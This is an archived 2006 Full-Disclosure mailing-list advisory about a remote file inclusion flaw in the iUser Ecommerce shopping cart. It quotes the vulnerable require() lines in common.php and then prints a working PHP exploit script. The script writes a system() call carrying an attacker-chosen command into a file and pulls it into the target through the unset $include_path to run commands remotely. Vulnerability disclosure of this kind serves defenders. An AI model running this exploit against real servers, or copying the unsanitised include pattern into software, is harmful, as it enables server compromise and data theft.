full-disclosure - iUser Ecommerce - Remote Command Execution Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <9e945f350602151749w5c67926dhd779e466680c3cec@mail.gmail.com>
Date: Thu Feb 16 01:50:05 2006
From: wr0ck.lists at gmail.com (Scott Dewey)
Subject: iUser Ecommerce - Remote Command Execution
	Vulnerability

=======================================================================================
XOR Crew :: Security Advisory                                         
       1/10/2006
=======================================================================================
iUser Ecommerce - Remote Command Execution Vulnerability
=======================================================================================
http://www.xorcrew.net/
=======================================================================================

:: Summary

      Vendor       :  Intensive Point
      Vendor Site  :  http://www.intensivepoint.com/
       Product(s)   :  iUser Ecommerce - shopping cart for digital products
      Version(s)   :  All
      Severity     :  Medium/High
      Impact       :  Remote Command Execution
      Release Date :  1/10/2006
       Credits      :  ReZEN (rezen (a) xorcrew (.) net)

=======================================================================================

I. Description

The iUser digital products shopping cart system has a broad range of
features, giving
you an incredible amount of flexibility, while remaining secure, easy
to implement and
administer. There is simply no other comparable shopping cart solution
specializing in
software downloads distribution available on the market at this price!

=======================================================================================

II. Synopsis

There is a remote file inclusion vulnerability that allows for remote
command execution
in the common.php file.  The bug is here on lines 28, 29, and 32:

// Load iuser configuration files
@require($include_path . "setup.php");
@require($include_path . "config.php");

// Load misc functions
require($include_path . "util.php");

the $include_path variable is not set prior to being used in the
require() function.
The vendor has been contacted and the issue has been resolved.

=======================================================================================

Exploit code:

-----BEGIN-----

<?php

/*
iUser Remote File Inclusion Exploit c0ded by ReZEN
Sh0uts: xorcrew.net, ajax, gml, #subterrain, My gf
url:  http://www.xorcrew.net/ReZEN
*/

$cmd = $_POST["cmd"];
$turl = $_POST["turl"];
$hurl = $_POST["hurl"];

$form= "<form method=\"post\" action=\"".$PHP_SELF."\">"
     ."turl:<br><input type=\"text\" name=\"turl\" size=\"90\"
value=\"".$turl."\"><br>"
    ."hurl:<br><input type=\"text\" name=\"hurl\" size=\"90\"
value=\"".$hurl."\"><br>"
     ."cmd:<br><input type=\"text\" name=\"cmd\" size=\"90\"
value=\"".$cmd."\"><br>"
    ."<input type=\"submit\" value=\"Submit\" name=\"submit\">"
    ."</form><HR WIDTH=\"650\" ALIGN=\"LEFT\">";

if (!isset($_POST['submit']))
{

echo $form;

}else{

$file = fopen ("test.txt", "w+");

fwrite($file, "<?php system(\"".$cmd."\"); ?>");
fclose($file);

$file = fopen ($turl.$hurl, "r");
if (!$file) {
    echo "<p>Unable to get output.\n";
    exit;
}

echo $form;

while (!feof ($file)) {
     $line = fgets ($file, 1024);
    echo $line."<br>";
    }

}
?>

------END------

=======================================================================================

IV. Greets :>

All of xor, Infinity, stokhli, ajax, gml, cijfer, my beautiful girlfriend.

=======================================================================================
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20060215/4c796a3d/attachment.html